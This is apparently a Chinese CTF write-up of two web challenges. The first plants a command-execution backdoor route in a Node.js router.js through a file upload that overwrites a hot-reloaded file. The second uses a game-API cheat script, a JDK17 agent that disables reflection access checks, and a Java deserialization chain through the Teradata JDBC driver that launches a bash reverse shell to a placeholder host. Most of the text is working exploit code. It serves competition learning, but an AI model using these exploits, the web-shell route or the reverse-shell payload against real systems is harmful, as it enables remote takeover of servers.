WeCat

一个nodejs的服务,目的很明确,要rce。

文件上传?就算能传js文件也执行不了呀,先忽略。

前两个小时在熟悉代码,大部分时间在看webSocket,因为没接触过,想看看这里有没有rce。结果没有。

有mongodb服务,但就算数据库有洞,打的也是数据库在的机,不在当前web机,所以直接忽略。

后面没别的路可走,看看dockerfile,npm dev启动的,猜测这种模式是热加载文件的,文件或者目录有变化立刻加载。本地起了个,确实是这样。

所以思路就是上传文件,覆盖原有文件,添加一个恶意路由,再rce。

上传文件看能不能覆盖,可以。

image-20240319103026960.png

覆盖这个到原有的router.js即可。

const router = require('@koa/router')()
const commonRouter = require('./commonRouter')
const routeAdmin = require('./admin')
const routeLogin = require('./login')
const routeUpload = require('./upload')

router
.use(routeLogin)
.use(commonRouter)
.use(routeUpload)
.use(routeAdmin)

router.post('/wechatAPI/test', async (ctx) => {
ctx.body = ""
await new Promise(resolve => {
require("child_process").exec(ctx.request.body.cmd, (error, stdout, stderr) => {
if (error) {
ctx.body += error
resolve()
}
ctx.body += stdout + stderr
resolve()
})
})
})


module.exports = router

通了

image-20240319103046400.png

Javolution

先升级,到达50级了!

import time
import requests

url = "http://1.95.54.152:40957/pal"


# battle depresso up 10 level
url1 = url + "/battle/depresso"
print(url1)
print(requests.get(url1).text)


time.sleep(0.5)
# capture Mammorest
url3 = url + "/capture?name=mammorest"
print(requests.get(url3).text)
time.sleep(0.5)

url4 = url + "/capture?name=Grizzbolt"
print(requests.get(url4).text)
time.sleep(0.5)



# change defense and hp
url2 = url + "/cheat?hp=6000&defense=-2147483645"
print(requests.get(url2).text)
time.sleep(0.5)



battle_jetragon = url + "/battle/jetragon"
print(requests.get(battle_jetragon).text)



battle_flag = url + "/battle/flag"
print(requests.get(battle_flag).text)

show = url + "/show"
print(requests.get(show).text)

image-20240319102837138.png

弄个子域名,记录值为127.0.0.1,可以过host。炫酷

image-20240319102737345.png

jdk17。我草

Jdk 17 原本是无法反射修改私有属性的,我实现了一个Agent,改掉jdk17多出来的判断是否可以访问属性的方法,可以修改私有属性了。

下面是agent代码,顺便把POJO也加进去了

MyAgent

public class MyAgent {

public static void premain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {

inst.addTransformer(new MyClassFileTransformer(),true);
Class[] allLoadedClasses = inst.getAllLoadedClasses();

for (Class loadedClass : allLoadedClasses) {
if("com.fasterxml.jackson.databind.node.BaseJsonNode".equals(loadedClass.getName()) || "java.lang.reflect.Field".equals(loadedClass.getName())){
//重新transform
inst.retransformClasses(loadedClass);
}
}
}
}

MyClassFileTransformer

public class MyClassFileTransformer implements ClassFileTransformer {

@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer){

String target1 = "com.fasterxml.jackson.databind.node.BaseJsonNode";
String target4 = "java.lang.reflect.Field";

String className2 = className.replace("/", ".");
if (className2.equals(target1)) {
System.out.println("Find the Inject Class: "+target1);
ClassPool pool = ClassPool.getDefault();
try {

CtClass c = pool.getCtClass(className2);
System.out.println("hhhh");
CtMethod ctMethod = c.getDeclaredMethod("writeReplace");

c.removeMethod(ctMethod);
byte[] bytes = c.toBytecode();
c.detach();
return bytes;
} catch (Exception e) {
e.printStackTrace();
}
}

if (className2.equals(target4)) {
System.out.println("Find the Inject Class: "+target4);
ClassPool pool = ClassPool.getDefault();
try {

CtClass c = pool.getCtClass(className2);
System.out.println("hhhh");
CtMethod ctMethod = c.getDeclaredMethod("setAccessible");

ctMethod.setBody("{ java.lang.reflect.AccessibleObject.checkPermission();\n" +
" if (false) checkCanSetAccessible(Reflection.getCallerClass());\n" +
" setAccessible0($1);}");
byte[] bytes = c.toBytecode();
c.detach();
return bytes;
} catch (Exception e) {
e.printStackTrace();
}
}
return new byte[0];
}

}

之后加载agent,和java8一样修改私有属性就行。

Import TemplatesImpl,XString,提示程序包不存在,是因为JDK9之后多了一个module的问题,我们的module无法访问TemplatesImpl所在的module。

BadAttr的val属性,在java8是Object类型,在jdk17中是String类型。

链子入口EventListenerList,readObject->toString。

getter用POJONode。注意调getter时,要套一层JDKDynamicProxy,不然会报module错误,问就是测出来的。

还差一个getter -> rce。

目前的进度:能收到靶机的TeraDataSource#getConnection,就是不知道如何利用

image-20240319102717544.png

后面debug源码,发现了RCE的位置。

image-20240319102700696.png

路线:

TeraDataSourceBase.createNewConnection –> ConnectionFactory.createConnection new RawConnection —> RawConnection构造函数引用父类构造GenericTeradataConnection —> GenericTeradataConnection构造函数—>RCE

继续debug,然后自己搭数据库环境,甚至自己抓包,写恶意服务端,越到后面越不知道服务端怎么写。最后发现有现成的:

https://github.com/luelueking/Deserial_Sink_With_JDBC

我草。搓服务端搓了5个小时,给我们搓红温了。

搓的一半服务端,没啥用,纪念一下。

image-20240319102644156.png

服务端起了直接发送反序列化数据过去就行。

exp

public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception, IllegalAccessException {
Field field = getField(obj.getClass(), fieldname);
if (field == null) {
throw new Exception("field " + fieldname + "not found!");
} else {
field.setAccessible(true);
field.set(obj, value);
}
}
public static Field getField(Class<?> clazz, String fieldName) {
Field field = null;

try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException var4) {
if (clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
}

return field;
}
public static Object unserialize(byte[] bytes) throws Exception {
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes));
return in.readObject();
}
public static byte[] serialize(Object obj) throws Exception {
ByteArrayOutputStream bytes = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bytes);
out.writeObject(obj);
return bytes.toByteArray();
}

public static Object getPOJONodeStableProxy(Object templatesImpl) throws Exception {
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templatesImpl);
InvocationHandler handler = (InvocationHandler)cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{DataSource.class}, handler);
return proxyObj;
}

public static void main( String[] args )throws Exception {

PalDataSource palDataSource = new PalDataSource();
Object pojoNodeStableProxy = getPOJONodeStableProxy(palDataSource);
POJONode jsonNodes = new POJONode(pojoNodeStableProxy);
EventListenerList list = new EventListenerList();

UndoManager manager = new UndoManager();
Vector vector = (Vector) Util.getFieldValue(manager, "edits");
vector.add(jsonNodes);
setFieldValue(list, "listenerList", new Object[]{InternalError.class, manager});

System.out.println(Util.URLEncode(Base64.getEncoder().encodeToString(serialize(list))));
}

PalDataSource

public class PalDataSource extends TeraDataSource {

public PalDataSource(){
String cmd = "bash -i >&/dev/tcp/your_ip/16666 0>&1";
String command = "bash -c {echo,"+Base64.getEncoder().encodeToString(cmd.getBytes())+"}|{base64,-d}|{bash,-i}";
System.out.println(command);
setBROWSER(command);
setLOGMECH("BROWSER");
setDSName("your_ip");
setDbsPort("10250");
}

@Override // com.teradata.jdbc.TeraDataSource, javax.sql.DataSource
public Connection getConnection(String username, String password) throws SQLException {
return super.getConnection(username, password);
}

@Override // com.teradata.jdbc.TeraDataSourceBase, javax.sql.CommonDataSource
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}

image-20240319102628287.png